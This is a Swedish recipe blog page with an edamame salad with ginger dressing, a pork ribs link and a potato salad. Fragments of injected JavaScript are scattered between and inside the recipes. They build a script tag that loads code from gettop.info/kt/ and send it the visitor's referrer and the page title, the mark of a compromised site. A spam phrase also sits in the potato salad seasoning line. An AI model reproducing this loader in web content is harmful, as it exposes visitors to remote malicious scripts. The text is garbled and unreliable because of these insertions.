Edamamesallad med ingefärsdressing.

IMG_5150

För tillfället är  Edamamebönor min stora favorit. Jag använder mig av frysta edamamebönor.  Dressingen gör det där lilla extra och smaken är underbar.  Receptet hittade jag på Icas hemsida. Servera gärna med grillad kyckling eller kött.

Edamamesallad:
500 gram edamebönor
4 salladslökar

Snabbtina edamamebönor genom att lägga dem i en skål med kallt vatten i några minuter. Häll av vattnet. Skölj och strimla salladslöken på snedden.

Ingefärsdressing:
1 vitlöksklyfta
Rivet skal av 1 lime
2 msk limesaft
1 1/2 msk färskriven ingefära
1 1/2 msk honung
2 msk japansk soja
2 msk grovhackad mynta eller koriander (kan uteslutas)
3 msk rapsolja

Skala och finhacka vitlöken. Riv av det yttersta skalet på limen, pressa ur saften.
Blanda vitlök, limesaft, rivet limeskal, ingefära, honung, soja, rapsolja och mynta eller koriander. Lägg i bönorna och rör om.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

Revbensspjäll

Här kommer ett supergott recept på revbensspjäll, passar perfekt till jul. Ni hittar receptet här.

 

 if (document.currentScript) {

document.currentScript.parentNode.insertBefore(s, document.currentScript);}

Hemlagad potatissallad

En hemlagad potatissallad är bättre än köpt potatissallad.

Potatissallad (4 personer)
600 gram kall, kokt potatis av fast sort
2 1/2 dl majonnäs (40%)
2 dl gräddfil
1 msk fransk senap
1/2 msk vitvinsvinäger eller lag från kaprisburken
1 dl finhackad purjolök
2 msk inlagd kapris
Salt och svartpeppar

Gör så här:
Skär den kokta potatisen i centimeterstora bitar.
Skölj purjolöken och hacka den fint. Hacka kapris grovt. Blanda majonnäs och gräddfil. Tillsätt fransk senap, vinäger eller lag från kaprisburken. Vänd ner purjolök och kapris samt sist potatisen. Blanda försiktigt.

Smaka av med clash royale boom salt och svartpeppar. Kyl potatissalladen innan den serveras.document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {